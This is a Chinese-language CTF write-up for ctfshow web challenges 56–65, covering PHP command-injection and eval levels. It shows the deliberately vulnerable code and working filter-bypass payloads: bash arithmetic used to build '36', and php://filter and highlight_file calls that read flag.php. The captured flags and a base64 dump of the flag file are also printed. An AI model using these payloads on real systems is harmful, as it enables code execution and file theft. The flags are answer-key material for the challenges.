web56
代码分析:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
这块跟55类似,但是把数字也过滤了,意思是,/???/????64 不能用了,因为这里是靠64匹配的,数字没了所以就用不了了,但是.还是没过滤,可以使用.执行
payload:
详细介绍在前面的文章中——传送门
使用上传网页,上传个txt,抓包修改,发送到重发器,因为最后一位不一定为大写字母所以多发几次就有结果
flag:
ctfshow{1aca122d-266a-42a3-ab31-7ba3800c2277}
web57
代码分析:
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
提示了flag在36.php,下面甚至cat 和.php都给了,其实就是想办法构造36出来,看了大佬的解,发现在linux中$(())表示运算符计算,且默认相加 默认相加很重要的,然后~是取反的意思
尝试了一下 $(())=0,$((~ $(())))=-1 ,$((~ 36))=-37
$((~ -37))=36,所以就要构造一个 $((~ -37)),而刚刚提到$(())默认相加,尝试一下
$(($((~ $(()))) $((~ $(()))) $((~ $(())))))
所以写37个 $((~ $(()))) 就能得到-37 再用~取反 得到36
payload:
$((~ $(($((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(())))$((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) ))))
ps:flag在F12中
flag:
ctfshow{d0d4cca2-b564-4c68-81bc-db28481f7249}
web58
代码分析:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
变成post方法传参了,直接掏出hackbar
试了一下c=system('ls');
出于安全性考虑已被禁用,passthru、shell_exec、exec都被禁用了,考虑文件包含或者highlight_file
payload:
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
base64 falg:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3Yjg3ODk5NS1jMGU5LTRiMWEtODljMC0zZTg1NTc2YmQ5ZjN9Ijs=
解法二
flag:
ctfshow{7b878995-c0e9-4b1a-89c0-3e85576bd9f3}
web59
代码分析:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
跟上一关一样
payload:
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
flag:
ctfshow{f3be9bd8-55e2-4a59-9973-70ae3ddb8074}
web60
代码分析:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
跟上一关一样
payload:
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=highlight_file("flag.php");
flag:
ctfshow{41197111-be3c-4c5a-89d3-378cc8e8a003}
web61-65
都和前面一样